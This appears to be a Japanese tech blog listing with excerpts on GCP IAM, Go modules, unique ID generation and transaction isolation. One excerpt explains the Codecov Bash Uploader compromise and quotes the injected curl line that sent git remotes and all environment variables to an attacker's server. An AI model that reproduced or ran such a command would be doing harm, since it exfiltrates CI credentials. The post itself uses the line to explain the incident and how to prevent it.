概要
の実践編です。
特定のGCSバケットにのみアクセスできるサービスアカウントを作ってみます。
続きを読む
GCPのIAMを使う上で理解しておくこと
背景
IAMはアクセス制御をする上で非常に重要な仕組みですが、一方で複雑になりがちです。
間違った理解のままだと必要以上の権限を与えてしまい、事故の原因となるので押さえておくべき点をいくつかまとめてみます。
リソース階層
GCPのIAMにはリソース階層があり、それぞれの階層を意識した上でIAMポリシーを設定する必要があります。
ref: リソース階層を使用したアクセス制御 | Cloud IAM のドキュメント | Google Cloud
続きを読むGo modulesで依存モジュールのメジャーバージョンがv2以上の時の対応
背景
依存するモジュールのメジャーバージョンがv2以上の場合に、以下のようにバージョン指定すると
$ go get github.com/xxx/yyy@v2.0.1
次のように怒られます。
require github.com/xxx/yyy: version "v2.0.1" invalid: should be v0 or v1, not v2
今回はこの対応方法について説明します。
環境
- go 1.16.3
version "vX.X.X" invalid: should be v0 or v1, not v2
原因
go modulesは複数の依存モジュールA, Bが同じ依存モジュールCに依存している場合、AとBのgo.modでより新しいバージョンのCを使おうとします。
CodecovのBash Uploader問題の再発防止策
概要
コードカバレッジサービスのCodecovでは、カバレッジファイルをアップロードする際に以下のようにbash scriptを実行します。
bash <(curl -s https://codecov.io/bash)
しかし先日、このbash scriptが何者かに勝手に改竄されている問題が発生しました。
改竄されたスクリプトでは
curl -sm 0.5 -d “$(git remote -v)<<<<<< ENV $(env)” http://ATTACKER_SERVER/upload/v2 || true
という処理が埋め込まれており、CI処理などで環境変数に設定していた情報が全てアタッカーのサーバへ送信されてしまうことになります。
一次対応として送信された機密情報のローテーションは必須ですが、二次対応として今後同じ問題が起きないよう再発防止策の導入も必要となります。
続きを読むユースケースに応じたユニークなIDの生成
概要
ユニークなID生成をしたい場面は多々ありますが、ユニークIDにはユースケースによって以下のような要件が出てきます。
- ユニーク
- 短い（＝データ量が少ない）
- 推測困難
- 分散性（ランダム性）
- 順序性（Lexicographical）
- 生成速度
それぞれの観点について説明し、最後にGoでオススメの選択肢を提示します。
ユニーク
ユニークIDというのでそのまんまではありますが、一番満たさなければいけない要件です。
特に現代におけるサービスでは高トラフィックをさばくためにスケール性を重視し、分散システムであっても衝突しないIDを求められます。
例えばMySQLのようなDBのauto_incrementを使う場合、そのDBがスケールしにくい＆SPoFといった課題があります。
続きを読むトランザクションの分離レベルで出てくる用語
背景
トランザクションの分離レベルで出てくる用語がぱっと頭に浮かぶようまとめます。
起きうる問題
基本的にどのDBも単一オブジェクトの原子性と分離性は保証します。
つまりデータ送信の途中でネットワーク接続が切れたら断片のみ保存するのではなく、全て破棄します。
また同時に更新処理があったとしてもデータを混ぜて保存するといったことはありません。
（{id: 1, name: alice},{id: 1, name: bob}があったとして{id: 1, name: aliob}にはならない）
分離性で問題になるケースは主に複数のオブジェクトを並行で同時に操作する際に起きます。
ダーティリード
あるクライアントが他のクライアントのコミットされていない書き込みを読み込むことです。
この例ではBobは新規メールがあるにも関わらず、未読件数は0のままです。
続きを読む